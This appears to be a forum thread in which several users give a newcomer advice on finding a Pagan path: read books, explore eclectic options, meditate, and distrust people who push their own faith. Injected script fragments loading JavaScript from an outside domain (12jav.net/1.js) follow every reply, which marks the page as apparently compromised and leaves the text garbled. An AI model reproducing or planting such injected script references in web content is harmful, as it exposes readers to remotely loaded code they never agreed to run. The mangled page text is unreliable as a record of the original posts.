You read, study, learn. Then you will figure what you are being drawn to. For some, it takes a long time to choose. Others figure it out fast. There is no time in choosing. Ask yourself questions like; Do I want to include magick? Do I want to have a god or Goddess in my belief. Do I want to learn about the many gods and goddesses? Do I want to keep my beliefs and add ti it?
See, it all depends on what you believe, what if anything do you want to change. And your beliefs may change in your search, so you might start with one path, then decide another fits you better. Its all a personal preference.
May you find what you seek. Blessed Be... sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

There are a multitude of paths and it would take quite a long, long time to list them all out and explain each one. I suggest you take a look around the forums, view the different topics on different paths, and spend some time researching them on your own.
Most Paganism nowadays is eclectic, meaning that you don't choose from a set of paths, but look at all of them and form your own. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
You cant choose a path that people tell you, because most people want to use/manipulate you on your faith or belief; you need to choose to walk/follow your own beliefs and what you want to belief. I know its hard to find your path with all the confusion and different beliefs, I do know this because I'm trying to find and follow my own path.
Hope I helped and may we all find our paths. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
I reccomend reading many many books on it. Online sources are great, but books give you that special feel for a path. Read up on any and all religious plaths that seem interesting.
Find another path mentioned in a book? Find a book on that path an read. Read, read, read! Cannot stress that enough.
Avoid people who tell you how their path is better then others, because most times there is a fine sugar coating to what they say. That does not mean their path is wrong, just means they could want you to fallow theirs.
If you really want to have it come to you, I suggest meditating AFTER you read up on all the interesting paths you descovered on your own.
Good luck! sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
I'd suggest researching wicca, kitchen witchery, Druidism, shamanism, Hellenism, eclectic.
Some off the top of my head. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
